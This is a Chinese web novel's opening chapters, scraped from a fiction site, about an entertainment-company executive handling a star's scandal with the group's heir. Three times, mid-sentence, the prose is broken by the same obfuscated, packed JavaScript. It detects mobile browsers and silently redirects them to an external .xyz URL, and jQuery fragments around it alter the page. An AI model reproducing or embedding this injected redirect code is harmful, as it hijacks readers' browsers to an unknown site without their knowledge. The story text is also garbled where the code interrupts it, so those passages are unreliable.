《用心良苦[婚后]》 1. 第一章 绯闻 正值好天气的三月底,上海的气温渐渐回暖。 梁璐回想起方才会议室里严肃的氛围,忍不住擦了擦额头上的细汗。她深吸一口气,推开顶头上司办公室的大门,径直往旁边会客沙发的方向走去。 老板还在会议室里,办公室自然是空无一人的。 阳光透过向南的落地窗照在她的脸上,她心烦地四处望了望,很快找到了办公桌上的玻璃窗遥控器,按下亮度调低的按钮,玻璃窗的透明度慢慢降了下来。 桌上的相框不知怎么倒了,梁璐顺手把相框摆好,又在看到相框里的某个人后突然意识到什么,忍住强迫症重新把相框弄倒了。 办公室里的亮度感应灯全部自动亮起后,梁璐急匆匆地走到会客沙发坐下。 面前的茶几上凌乱地放着十几份八卦杂志和娱乐报纸,配合劲爆的文字说明,这些期刊的头版都放上了角度稍微不同但很显然是同一场景的模糊得几乎看不清人五官的照片——照片里一男一女坐在海边的岩石上,女人低下头双手掩面哭泣,而男人则是温柔地将西装外套披在女人的肩上,像是在低声安慰。 大多期刊放大了两人几乎靠在一起的脑袋,还有一些杂志更是在照片中停在两人旁边的蓝色保时捷边上标注了那台车的市价。 梁璐嫌弃地叹了口气,耐心地把报纸和杂志分别按照知名度依次叠放整齐。 她注意到几份知名度最高的报纸上有明显的皱褶,标题大概是“错失新人奖后的八小时密会——唐诗雯坐稳嘉程少姨太的宝座?”、“国民妹妹唐诗雯恋情曝光——事业怎敌得过爱情”等等,内容嘛不仔细看也知道,无外乎都在描述昨天的电视剧大赏上,新人奖夺奖热门的女明星唐诗雯爆冷痛失新人奖,在颁奖典礼结束后直接坐上了嘉程集团少东家新买的保时捷离开,二人在幽静的私人沙滩上约会八个小时,直到凌晨才趁月黑风高双双返回公司。 女明星在事业上升期曝光豪门恋情并不是什么罕见事,但新闻的重点是唐诗雯约会的对象是嘉程集团少东家程珏。 关于程珏的背景有一点足以掀起波澜——他早在两年前就低调结婚了。 换句话说,如果唐诗雯和程珏的恋情坐实,那么唐诗雯就是违背伦理道德的第三者。在以往的婚外恋事件中,女性第三者往往要承受比男性出轨者更强烈的谴责。如果处理不当,不止唐诗雯本人,最近在力捧她的经纪公司也会跟着倒霉。 于公于私,梁璐对这个新闻里的两位当事人都充满了不屑。 再次确认好报纸和杂志的份数后,突然敲门声响了三下,还没等梁璐开口,门就被打开了,一个身着黑色职业裙、头发整齐地用簪子绾在脑后的女人走了进来。 她看清来人之后连忙站起来打招呼:“韩特助。” 韩祎的右手搭在门把上,公式化地笑着问道:“打扰了梁秘书,你们在忙吗?” 虽然梁璐在嘉程集团工作的时间并不算太长,和韩祎单独说话的次数也屈指可数,但她明白韩祎在公司里的身份地位,并不敢轻易懈怠,于是连忙向前几步要答话,这才看到了站在韩祎身后的人。 “梁秘书,雪琛呢?”程珏的声音很低沉,修长的身形给人一种无形的压迫感,他看上去总是温柔而富有教养,梁璐曾经对这位总经理充满好感……可一想到报纸上登的新闻,她皱起了眉头。 “程总好,我们梁总在二号会议室和齐总开会。”梁璐保持微笑,她还不至于为了正义感什么的得罪上司导致丢掉工作。 “好的,谢谢,我们也过去吧。”程珏点点头,示意韩祎与他一同往二号会议室的方向走去。 梁璐没想到绯闻的罪魁祸首竟然毫无波澜,可她知道她的老板此时绝对不想看到程珏,于是把茶几上刚整理好的报纸杂志抱在怀里就追了出去。 “程总,梁总他们在看上午记者会的新闻。”梁璐紧跟在程珏的身侧,想了想补充道:“公关部的张总也在,《娱乐正午》应该正在播……其实记者会上的澄清在社交媒体上已经上了热搜,公关效果还是不错的。” 程珏没有停下脚步,转头瞥见梁璐怀里报纸的头条标题,但很快把目光移开,他笑道:“谢谢,我知道了。” “程总,唐诗雯也在会议室……梁总对这个‘绯闻’感到很生气,毕竟我们在唐小姐身上付出了很多精力,可唐小姐却毫不在意地自毁前程。程总,现在梁总看到您,也许会更生气,您是不是……”梁璐好心地劝说,怀着百分之一的希望祈祷这位大boss别再出来添乱了。 “梁秘书,你确定你们梁总现在真的在生气吗?” 梁璐一愣:“梁总不该生气吗?” “嗯,按照正常人的情绪,她确实应该生气。”出乎意料地,程珏的脸上坦坦荡荡,并未表现出任何的难堪。 他又耐心地回复一遍:“梁秘书,我知道了,谢谢你跟我说这些。” 梁璐疑惑地向韩祎求助,她着实不明白程珏为什么可以那么平静。 韩祎只给了她一个公式化的微笑。 三人走近二号会议室,从磨砂玻璃墙外大概可以看到里面几个人正在开会的身影,大屏幕也是开着的,隐约传出正在播放的娱乐新闻的声音。 程珏在会议室门前停下,梁璐自觉地走上前打开门。 午间娱乐新闻已经播了大半,上午记者会的片段穿插在昨夜被拍到的视频中,新闻标题为——嘉程娱乐总经理梁雪琛力撑公司唐诗雯:“艺人也有纯粹的友情”。 梁雪琛坐在会议桌中间的位置,一身黑色西装套裙配上黑色细高跟,一头长发整整齐齐地绾在脑后,全身散发出稳重干练的气场。她总是神采飞扬,似乎有用不完的精力,此刻她正用那双仿佛能看透一切的眼睛直盯着屏幕,可脸上看不出任何异样的情绪。 嘉程集团企划部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071549|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责人齐少伟和集团公关部副总张倩坐在梁雪琛对面,两人的助理分别坐在他们身边,除了齐少伟外其他三人面前都摆着一台笔记本电脑,他们边看新闻边飞速敲打键盘。 新闻的女主角——嘉程集团全资子公司嘉程娱乐最当红的女明星唐诗雯,则低头坐在与梁雪琛隔了两个位置的椅子上,手上不安地把玩着手机链。在她的身边依次是经纪人田石宇、艺人助理林笑笑和经纪人助理刘莹,三人像是犯错的小学生那样,时不时偷偷观察梁雪琛的表情变化。 程珏进来时,除了梁雪琛和唐诗雯外的所有人都吓了一跳,连忙站起来打招呼,程珏笑着示意大家坐下继续看新闻,自己则在梁雪琛身边坐下。韩祎将旁边的椅子往后拉一些,坐在了程珏和唐诗雯中间。 梁雪琛从始至终没有看向他们一眼。 五分钟之后新闻结束,梁雪琛关掉了电视,会议室里顿时安静到近乎窒息。她一手托腮,似乎在想什么想得出神,另一手拿着遥控器一下又一下地轻轻敲打桌面,但就是没说话。 唐诗雯被这个有规律的声音吓得心绪不宁,手一滑,手机重重地摔到地上,弹到了程珏的脚边。 虽然在地毯的作用下手机砸向地面的声音变得沉闷,但除了梁雪琛外所有人一下子被她发出的声响吸引了目光。 年轻的女明星不知所措,下意识地看向程珏。程珏冲她微微一笑,刚要起身,韩祎早一步蹲在他的脚边把手机捡起来,面无表情地交还。 “唐小姐,现代人的隐私都藏在手机里了,你作为公众人物,更加得拿好手机,否则得出大乱子了。”韩祎的话打破了会议室里的沉寂。 听到有人开口说话,齐少伟擦擦汗终于敢跟着开口。他小心翼翼地说道:“雪琛,诗雯手上的合约暂时不会受什么影响,对这件事我们冷处理一段时间,等下个月新剧上的时候,热度就会盖过这波绯闻的。” 张倩猛地合上电脑,带着嘲讽的语气说道:“能不能把绯闻盖过去,那得看我们唐大明星肯不肯配合了。你明知道‘新声计划’马上就要启动了,这个时候搞出这么大的事情来给公司招惹麻烦,也不知道是真的太年轻不懂事,还是被人下了什么降头。” 唐诗雯被张倩说得面红耳赤,原想尽力忍住情绪,可越是想强忍着,眼泪越是控制不住地落了下来。 一旁的田石宇叹了一口气递上纸巾,边替唐诗雯解释道:“地下车库的私密性一向都很好,所以诗雯也没想到从车库出去身后还会跟着那么多狗仔,她怎么会故意给公司招惹麻烦呢。更何况,诗雯也不是一个人出去的……” 说完田石宇立刻意识到说错了话,程珏本人在场,这话一出似乎有责怪他的意思。他连忙继续解释道:“当然这也不是程总的问题,程总只不过安慰失意的朋友,这是人之常情……” 程珏面无表情地听着田石宇的话,会议室里的空气似乎冻成了冰。 2. 第二章 怜惜 在会议室里微妙的混乱氛围中,梁雪琛终于放下遥控器,平静地吩咐:“璐璐,把那些报纸拿过来。” 梁璐将刚整理好的报纸和杂志放在她的面前,只见她随意翻了几下就递给对面的张倩,仍是不带什么情绪地说道:“倩姐,璐璐把今天能买到的报纸和杂志都买了一份回来,我们澄清的新闻在网上热度很高,诗雯的粉丝们也自发地帮忙回应,局面暂时算是被控制下来了。” 张倩接过,大概看了一下,纸媒的内容虽然也是博人眼球,但比起网络上营销号添油加醋的描写显得收敛许多,但也正因为如此,纸媒以其与传统新闻相似的写法,即使内容真假难辨,也更容易让人相信。 “不过后续还得麻烦倩姐和这些纸媒沟通一下,不管有没有效果最好都要在下一期刊物上做个澄清。”梁雪琛对于嘉程集团的公关能力毫无质疑,可毕竟是自己手下的人出了问题,还是忍不住多交待了几句:“这两天我再让舆情监控的同事出个数据分析,尽量把这件事的负面影响降到最低。” “这个你放心好了,这些杂志社和我们都有过交集,他们不至于为了一个小小的绯闻和我们撕破脸。”张倩让助手把杂志社的名字登记下来,“我还会想办法顺便借这件事提高粉丝的忠实度,没准有意想不到的收获呢。” 她仍是忍不住责备田石宇道:“石宇,作为经纪人,这次是你失职了,居然连个小姑娘都看不住,放她颁奖晚宴没结束就到处跑,这才让狗仔钻了空子。平时就连公司楼下都时刻有些极端粉丝和狗仔蹲守着,你还真相信颁奖礼主办方说的车库私密性好的蠢话么?我希望这样的事不会再有下一次。” 没等田石宇回应,梁雪琛对齐少伟说道:“齐总,很抱歉耽误您的时间了,后续就按刚刚我们讨论的方案,集团这边只需要配合把项目启动就好。其他的事情还是交给倩姐来处理吧。您放心,我们一定不会再出其他状况。” 齐少伟看了一眼程珏,又看看唐诗雯,回道:“那就辛苦公关部了。雪琛,你这边真的不能再出错啦,如果影响到赞助商的信心,我们都会很麻烦。而且如果董事长知道的话……” “谢谢张总和齐总,”程珏出声打断齐少伟的话,“昨天的事是我考虑不周,才会让媒体写出这种子虚乌有的东西来,很抱歉给大家造成麻烦,以后我会更谨慎行事。” 梁雪琛冷笑道:“是不是子虚乌有又有什么关系,我们一点儿也不关心真相。不过以后确实得请程总高抬贵手,别再出这样的难题来考验我们了。” 程珏对上她的双眼,带着笑意反问道:“雪琛,这些难题的出题人真的只有我一个吗?” 梁雪琛被看得心虚,移开对视的目光:“我只知道,如果昨天你没有带走诗雯,那就什么难题都不会出现。” “嗯,你说得对,关于这一点我确实该负全责,不该一时冲动就把诗雯带走。”一旁唐诗雯的啜泣声吸引了程珏的注意力,他回头看了唐诗雯一眼,“可是错过了新人奖,诗雯比谁都难过,有情绪是在所难免的,希望大家不要太过苛责。” 程珏话音刚落,梁雪琛像是听到了什么天大的笑话似的笑了出来:“程总这是体恤下属,还是怜香惜玉呀?” “既不是体恤下属,也不是怜香惜玉,我觉得这是作为人类对朋友最基本的共情能力。” 梁雪琛在心里翻了个白眼,敢情这话明里暗里的意思就是她梁雪琛冷酷无情,毫不在意唐诗雯的心情呗。 她可没精力与程珏继续做无用的口角争斗,站起身,绕过他和韩祎,走到唐诗雯身边。 唐诗雯抬眼,露出惊慌的表情。 “从什么时候开始,你变得连我都害怕啦?我又不会把你给吃了。” 梁雪琛把手轻轻搭在对方的肩上,她一向将对方当成自己的亲妹妹那样宠着,包容她的各种任性行为。她仍然可以继续保持以往的宽容,但长姐也有指出妹妹错误之处的责任。 这是梁雪琛第一次像是教导主任面对刚记了大过的学生那样对唐诗雯说话,语气中还是留存着些许温柔:“今天通告结束后你早点儿回家休息,然后呢好好想想自己到底想要什么。如果你决定毁掉自己,至少看在我曾经是你的伯乐的份上,早点儿把你的决定告诉我,那样也许我可以帮你找一条最好的退路。” 她的话锋一转:“可如果你敢公司的名誉当儿戏,或者做出对‘新声计划’不利的事情,我一定会让你明白那是你承担不了的后果。” “至于程总嘛……”梁雪琛抽出会议桌上的几张抽纸,慢慢替唐诗雯擦眼泪,“公司是您的,我没资格管您想干嘛,但我想董事长应该不会喜欢今天的新闻的。” 程珏笑道:“这我倒是不担心,董事长那边你肯定能解决好,不然这个新闻也不会出现了。” 他的话若有所指。 梁雪琛对此置若罔闻,交代田石宇:“诗雯下午参加的访谈不用取消,该说什么就说。” 田石宇犹豫了一会儿,回道:“可是电视台刚刚把最新的台本发过来,里面有关于这个绯闻的一些问题,我们要不要让电视台把台本改一改?” “修改台本?”梁雪琛意味深长地看了一眼程珏,“怎么,有谁真的做了亏心事,连正面回应回应都不敢了吗?你们只管去回应,访谈结束后记得把相关资料发给齐总和张总就好。” 田石宇偷偷观察程珏的表情,见他没有反对的意思,便点头回道:“琛姐,昨天颁奖典礼结束之后诗雯的情绪很低落,我又刚好和几个导演在交流,她才请程总带她出去透透气的。诗雯出去之前给我发了消息,我以为出去一会儿不会有什么问题……张总说得对,是我失职了,我会好好善后的。” “石宇,我当然相信你的能力,这件事到此为止,吃一堑长一智吧。” 梁雪琛走到程珏身边,微微弯腰,用虽然不大但在场的人都能听清的音量说道:“反正我看程总这么无所谓的样子,肯定也没发生什么见不得人的事情啦,对吧?” 程珏没有说话,只是朝她露出了一个玩味的笑容。 散会后,石天宇、林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071550|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑笑和刘莹带着唐诗雯先行离开,齐少伟与张倩交代了几句工作也分别带着助理回自己的办公楼层去了。 梁雪琛这才长长地舒了一口气,抬头看了一眼会议室前方的艺术挂钟,时针已经接近十二。 程珏仍然安稳地坐着,静静地看她收拾桌子上的资料,似乎在等待某个开口的时机。 但梁雪琛并不想和程珏多说什么,装作没看到他还在这里的样子径直起身,边往外走边对身边的梁璐说道:“璐璐,下午我有事请假出去一趟,你协助一下倩姐那边的工作,有什么问题及时打给我,晚点儿我再回来处理。” “等一下,我有话问你。”程珏拉住梁雪琛的手臂,不知怎么的,她觉得他一如既往平静的语气中似乎夹杂着些许怒意。 梁雪琛甩开手,转回头一言不发地看着他,露出“程总有何指教”的不耐烦的表情。 程珏盯着她的眼睛,这张脸并非倾国倾城的美人容貌,和朋友们站在一起,她顶多算得上五官标致,可她的这双眼睛就像星星一样亮亮的,任谁看到都会忍不住被这个女人的目光所吸引。 所以他总喜欢盯着她的眼睛看,似乎想搞清楚她眼中光芒的来源,又像是想看清她眼中的情绪。 “程总想知道什么就赶快问,我待会儿还有事。”梁雪琛被他盯得不自在,撇过头脱离与他的对视。 程珏回过神来,问道:“你的‘新声计划’用关磊做制作人还不够吗,为什么还要把他签到嘉程娱乐来?为什么之前从来没和我提起过这件事?” 梁雪琛看看程珏,又看看他身侧的韩祎,双手抱在胸前笑道:“我记得我怎么说都是嘉程娱乐的总经理,应该还有这个权利决定公司要签谁吧?再说了我已经按照公司流程制度,在几个小时前把流程提交给总部审批并抄送程总您了,如果您有任何意见,就算是总部也会按照您的要求驳回流程的不是吗?” “为什么没有提前和我商量?” “是,这件事有些突然,不过我在跟关磊对接过程中才知道他的合约即将到期,用友情价签下这样一位冉冉升起的巨星,于公于私我都找不到不出手的理由。关磊的商业价值,绝对远超我们向他提供的三年合约报价。”梁雪琛边说边观察着一旁韩祎的表情,幸好没有发现什么异样。“程总,就算我提前和你商量,结果和现在会有差吗?” 程珏也下意识地看了一眼韩祎,眼中充满担忧。 韩祎平静地说道:“雪琛告诉过我这件事,我以为你应该会比我更早知道。” 程珏微微皱眉:“你同意?如果他来我们公司,可是抬头不见低头见呐。” “公司这么大,不是同一层楼的人也不是想见就能见的。”韩祎垂下眼睑,“更何况,我和他真的没有什么了,只是个认识的人而已,又有什么要紧的。” 梁雪琛冷笑道:“我懂了,程总并不是担心我公私不分,而是您自己公私不分吧?” 说完她推门而出。 梁璐尴尬地向程珏点点头,跟着梁雪琛走出会议室。 3. 第三章 争吵 回到自己的办公室,梁雪琛径直到沙发上坐下。头疼了一上午,这才有时间好好休息一会儿。 梁璐绕到她的身后,双手帮她轻轻按摩太阳穴。 “姐,明天早上的周会材料我已经修改好发你邮箱了,和之前的内容基本没有什么变化,只是把各进度的时间节点调整了一下。另外明天十点半的视频会议,程淼总说可以等周会结束之后再跟她联系,不一定要准时。” 梁璐继续向梁雪琛确认第二天的行程安排:“董事长是明天下午三点半到浦东T2航站楼,同行的确认有董事长夫人、刘振华董事、总部金融中心的潘峰总、广告中心的何瑞明总,以及随行的13位同事,名单也已经邮件发给你了。” 梁雪琛把头靠在沙发上,满意地看着眼前的远房小堂妹。 梁璐两年前临近毕业时偷偷向嘉程集团投了校招简历,直到成功被公司“大学生优才计划”录取,才将这件事告诉梁雪琛。 一开始她在人资当人力资源助理,部门其他同事难免觉得她是靠关系才被录取的,背后闲话不断。 一年前梁雪琛的秘书离职,干脆就将她平级调到了自己身边,既然已经被误会,不如直接坐实了别人的说法。在梁雪琛的指导下,梁璐很快适应了秘书岗位,她比起梁雪琛又更显得平易近人,很快用出色的工作能力堵住了悠悠众口。 “姐,我想给你说个事儿,你听了肯定开心。”梁璐卖了个关子,“你要现在听,还是晚点再听?” 梁雪琛笑道:“你都说是开心的事了,那还不赶紧说,看看能不能把我一早上的糟心盖过去。” 梁璐拿出手机,翻出一张照片,那是一张大学的保送录取通知书,落款是梁雪琛的母校。 “子悦终于收到T大的录取通知书啦!”梁雪琛眼前浮现出那个和曾经的她那么像的女孩的模样,三年前要不是她的不断劝说和资助,那个女孩已经被迫辍学外出打工了。 如今田子悦被保送成为她的学妹,当年的所有努力终于开花结果。 “早上子悦用二叔的手机打给我,当时你在开记者会,我就没告诉你。” 梁璐开心地说道:“总算是尘埃落定了,子悦的爸妈听说你会提供她四年的学费,也就没什么话可说了。家里出了一个大学生,在梁田村怎么说都是一件稀罕事,是光宗耀祖的大喜事,何况子悦是我们村第一个保送生呢,她爸妈都把这个通知书当成了自己的功德。” “我听着怎么觉得你在自夸呢,你也是大学生,你也是光宗耀祖的稀罕事。”梁雪琛将照片隔空传送到自己手机上,仔细看着录取通知书上的每一个字,她脸上的笑容再也止不住了。 “我可是从小把你当榜样的,要不是你当年开了个好头,咱们村有谁会相信读书也能改变女孩子一辈子的命运呀。你可是巾帼不让须眉,全村的模范。”梁璐拿回自己的手机,轻轻搂着梁雪琛道:“姐,二叔说学校的操场翻新好了,让你有空回去验收验收。你帮助的那些学生们都很想你,也希望你能回去看看呢。” 听梁璐提起操场翻新,梁雪琛想起了另一件事,于是问道:“璐璐,我昨天让你处理的五十万现金,已经跟梁校长交接好了吗?” 梁璐刚想回答,突然门被敲了三下。在二人应答之前,程珏就推门而入了。韩祎跟在他的身后却没有进来,而是在门外站定。 一见到他,梁雪琛的笑容凝固在脸上。 梁璐连忙恭恭敬敬地站了起来。 “梁秘书,我有些话想单独跟雪琛说,可以麻烦你出去一会儿吗?” 梁璐看看程珏,又看看梁雪琛,点头走了出去。韩祎替她关上门,两人一起站在门外。 门刚关上,梁雪琛站起来走到办公桌边,双手抱胸,长叹一口气问道:“请问程总又有什么指教?” 程珏戏谑道:“最近我是你不开心的源头吗,我来之前还笑得那么大声,怎么我一进来就直接板着个脸了?” “程珏,我已经尽量远离你,好让大家都有一个冷静的空间了,要不是因为昨天你们被拍到,我压根就不想理你的。拜托你也别来招惹我行不行?” “不行。但我现在也没打算跟你说这个。”程珏反客为主坐在梁雪琛的办公椅上,双手交叉搭在桌子上,转而用严肃的语气问道:“‘新声计划’项目一开始就是为了关磊策划的,我说的对吗?” “这不是一开始就明摆着的事情吗?我在第一份策划案里就写清楚了,围绕关磊开展这个项目,是最好的选择。”梁雪琛表示无言以对,“怎么你到现在才发现我的目的吗?” “我只想知道,一一和关磊,谁对你而言更重要?”程珏深吸一口气,好让自己不被梁雪琛的态度激怒,“你为了关磊做这些事情,真的考虑过一一的感受吗?她说的不在意,就真的是不在意了么?” 程珏注意到桌子上倒了的相框,伸手拿起来打量了一会儿,然后将相框摆正。 “那我也想问你,公司和韩祎,谁对你而言更重要呢?”梁雪琛反问道,“不管我是不是为了关磊做的这些事,无论是策划这个项目,或是签下关磊,对公司而言百利而无一害,不是吗?” 听到这样的回答,程珏站了起来,走到梁雪琛身边。 梁雪琛并不矮,但比她高了大半个头的程珏仍然能给她带来无形的压迫感。 她了解的他对谁都很温柔,温柔当中又带着一些疏远感。他看上去风度翩翩平易近人,然而一旦有人想要更接近,却又发现是他是那么遥不可及,谁都无法洞悉他真正的想法。 “雪琛,我跟你说过无数次,你想做什么都可以,但是不要伤害一一,你怎么就没听进去呢?”程珏的左手按在办公桌上,右手轻轻捏着梁雪琛的左肩。 她觉得他一定在强忍着力气,否则不可能在说出这样的话时动作仍然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071551|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔。 程珏低沉的声音一字一句地传入梁雪琛的耳朵里:“一一对你那么好,那么重视你这个朋友,可你为了你的一点私心和那些所谓为了公司利益的冠冕堂皇的理由,就忍心伤害她么?我再跟你说一遍,为了一一,我什么都可以牺牲,明白吗?” 梁雪琛猛地推开他的手,冷笑道:“明天董事长就过来了,我想程总的这番牺牲论可以亲自跟董事长谈一谈,如果董事长和您是一样的立场,我可以立刻终止这个策划,撕掉关磊的合约,然后并永远离开嘉程。” “但是……”她踮起脚,在程珏耳边小声说道:“我也想再告诉程总一次,只要是关磊想做的事情、想要的东西,我都可以不惜一切代价帮他完成。程总,既然我们都是这么感情用事的人,与其把场面搞得尴尬,还不如直接选择一个更能让公司获利的选项,您说这样不是挺好的吗?” 梁雪琛就像是个刚赢得胜利的战斗鸡,虽然被他看得狼狈不堪,但事实就是这一局过招,她取得完胜的成绩。 梁雪琛慢悠悠地从抽屉里拿出黑色手提包,打开检查了一下里面的东西,然后小心合上。 仰起头经过程珏时,她得意地笑道:“程总,我下午请了假,如果您还想继续在这里休息那就继续待着吧,别忘了走的时候替我关好门。” 程珏的脸上并未出现怒意,反而显得有些惆怅。他叹道:“雪琛,我试着了解你,但我发现我一点儿也搞不懂你。” “了解我又没有任何好处,你没必要把宝贵的时间浪费在这种毫无意义的事情上。”但梁雪琛还是想为自己辩解,“你放心,我永远都不会伤害一一。在你心里,我是不是已经不堪到丝毫不会考虑朋友的感受了?在你看来我究竟有多恶毒啊?” “我……”程珏意识到自己的话也许伤害了梁雪琛,他想解释。 梁雪琛没给他继续说的机会,推开门走了出去。 韩祎和梁璐站在门外,看见她出来都迎了上去。 “我中午在公司吃饭,你要和我一起,还是先过去找安安?”韩祎对梁雪琛和程珏争吵的内容毫无兴趣。 梁雪琛反问道:“你中午是自己吃呢,还是和里面那位程总一起吃?” 她知道答案,所以不等对方回答,便噗嗤一声笑了出来:“我啊,刚把程总惹怒了,我可不是那种不会看人眼色的人,所以还是乖乖地先消失比较好。” 韩祎抬手看了一眼手表,点头道:“那你先去安安那儿吃饭,我一点半左右过去接你们。” 话音刚落,程珏正好推门出来。 梁雪琛答应了韩祎,趁程珏还没开口说话转身溜了。 梁璐一脸尴尬地向程珏道歉:“梁总今天应该心情不太好,程总您别心里去呀。” 听到这话,韩祎笑出声来:“梁秘书,那你可太不了解她了吧,我觉得今天是雪琛这大半个月来心情最好的一天。” 4. 第四章 友情 嘉程大厦地处浦东繁华的商业中心。 这个商业中心与外滩隔江相望,是典型的商业广场加写字楼的运作模式。 因为离东方明珠塔很近,嘉程大厦附近常年人满为患。商业中心的背后有一条充满文艺气息的小巷子,各类网红小店随处可见。 这条街道的一头是高度繁华的上海商业中心,而小道的尽头则通往上海均价排名前几的几个小区。 不远处便是黄浦江,游船的汽笛声时不时传了过来。 景安安经营的“暮色”咖啡屋就位于这里。梁雪琛曾经计算过,按照她的正常步速,从办公室出发算起,走到这间咖啡屋一共需要整整六分钟的时间,要是加快脚步,五分钟以内就可以到达。 这样一间可以点餐的咖啡屋在工作日的中午是十分受欢迎的。 梁雪琛走进咖啡屋时,前台早已排起了长队,店里十几张桌子座无虚席。店员们要么忙着上菜,要么忙着点单,没有人注意到她的到来。她也没打算打扰店员们的工作,熟练地走最角落靠窗的位置。 身穿素色连衣裙的景安安背对着客人们安静地坐在窗边,手指飞快地在笔记本电脑上敲出一行行字。 梁雪琛提前在群里说了自己要来吃午饭,所以在景安安的面前摆了两份热腾腾的铁板牛排,牛排边各放了一杯橙汁。 梁雪琛走到景安安的对面坐下,拿起橙汁一饮而尽。 看到闺蜜来了,景安安关上电脑,笑着问道:“看你渴成这样,难道嘉程集团最近财政收缩,连水都不让我们梁总喝一口了么?” 梁雪琛回道:“是啊,等哪天公司倒了,或者我被开了,我就来你这儿蹭吃蹭喝,躺平当米虫。” “那你得趁现在风光的时候转移点财产到我这里来,否则到时候我只能出去讨饭养你了。” 景安安招手叫来一个服务员,给梁雪琛又倒了一杯橙汁。 “你看这个东西,能换多少钱存进我的米虫基金里?”梁雪琛从手提包里拿出一个礼品盒,大约是一个单人份蛋糕盒的大小。 景安安疑惑地打开礼品盒,看到里面的东西时忍不住小声惊呼:“雪琛,我只是随口一提,没想到你真的给我做啦。” 礼品盒里的手工品被一一拿出,原来是同一色系的一个针织耳机套、四个针织杯垫和一个上面有可爱兔子的针织零钱包。 上个月景安安生日时梁雪琛由于太忙只发了个红包,被她假装嫌弃了,又带着醋味地说什么“礼物才不在乎价格呢,去年一一生日,你给她织了个靠垫,你的手工那么好,却没送过我你自己做的东西”。 那番话只是朋友之间的玩笑,但梁雪琛记下了,每天用睡前的一点时间勾了些小玩意儿。其实上周她就已经做完了,但这段时间变得更忙,没能和景安安见面,才趁今天过来顺便把礼物补上了。 “雪琛,你对我真好。”景安安眼眶有些湿润,从大学时成为室友那天开始,她提出过的所有要求都不曾被梁雪琛拒绝或忘记,这一晃日子就过去了十年。 但梁雪琛并没有陪她煽情的意思,把注意力全放在了面前的两份牛排上了。她犹豫了一会儿,将靠近自己的那份推向对方,又把好友面前的牛排拉到了自己面前。 交换牛排过后,她得到了芝士含量更多的午餐。 “梁雪琛,是谁说戒糖戒油戒酒不熬夜要开始过健康生活的?上次你不是还嫌芝士太多会让你加速衰老吗?” “没关系,”梁雪琛边吃边说道,“昨天晚上我喝了很多酒,回家才睡下两个小时左右就被电话吵醒了。五点半不到回公司开会,你都不知道我困到多恼火,早上喝了三杯咖啡才把我的火消掉的。所以我想不会再有更不健康的东西了,既然这样以后还是不要再苛待自己了吧。” 景安安听她那狗屁不通的逻辑,正色道:“你怎么又这样糟蹋自己了?我很认真地告诉你,身体很重要,你这样子相当于给自己埋了定时炸弹。” “我也很认真地回答你,我很健康,每年都会做全面的体检,至少到目前为止,比大多数人都要健康。”梁雪琛把自己的第二杯橙汁喝完,伸手把景安安的橙汁拿过来,倒了一大半到自己的杯子里。 景安安皱眉刚想对好友一顿说教,手机突然响了起来,她看了一眼来电姓名,边接起边走向后厨。 梁雪琛也不在意她的离席,自己边玩手机边填饱肚子。 景安安大约半个小时之后才回来,回来时手里多了两瓶矿泉水,果不其然梁雪琛把桌上的两杯橙汁全喝光了。 “久等啦。” “习惯了。”梁雪琛打开矿泉水喝了一口,“重色轻友的女人,我又不是第一天认识你。” 景安安嘿嘿一笑,刚坐下,手机提示有新消息进来。 她看了一眼,又忍不住露出幸福的笑容。 梁雪琛嗔道:“哎哟陆太太,你和陆大设计师能不能别隔空秀恩爱了,刚刚他还在朋友圈发什么‘谢谢你让我有了存在的意义’……你们都结婚多久了还那么腻歪呢,拜托可怜可怜我这种悲惨的人,空气里都是恋爱的酸臭味,我会窒息的。” 当年谁都不敢相信,T大校园传说里最年少有为的建筑学院优秀毕业生陆安然,竟然不到三十岁就结婚了,娶的还是一个普通得不能再普通的经管学妹,心甘情愿斩断一切桃花。 别人都说景安安配不上陆安然,梁雪琛却不这么认为。 她这个闺蜜,看上去过得十分随心随意,毫无人生追求,但她知道景安安比谁都更热爱生活。 景安安刚上大学时就立志未来在写字楼间开一家能让人放松心情的咖啡店,毕业后不到两年,她便达成了当初定下的目标。别人只看到了她的顺风顺水,但梁雪琛知道大学四年里她学冲咖啡、学拉花、学做美食甜点,还自己研究了许多新菜色,付出了多少努力,也知道她从店面选址、店内装潢都是如何一步步走过来的。 除此之外还有许多别人不知道的事儿,比如景安安其实以‘安与安’的笔名出过几本大热的小说和摄影集,她在网上写的随笔也拥有许多忠实读者。 景安安故作神秘道:“等一一待会儿过来,我 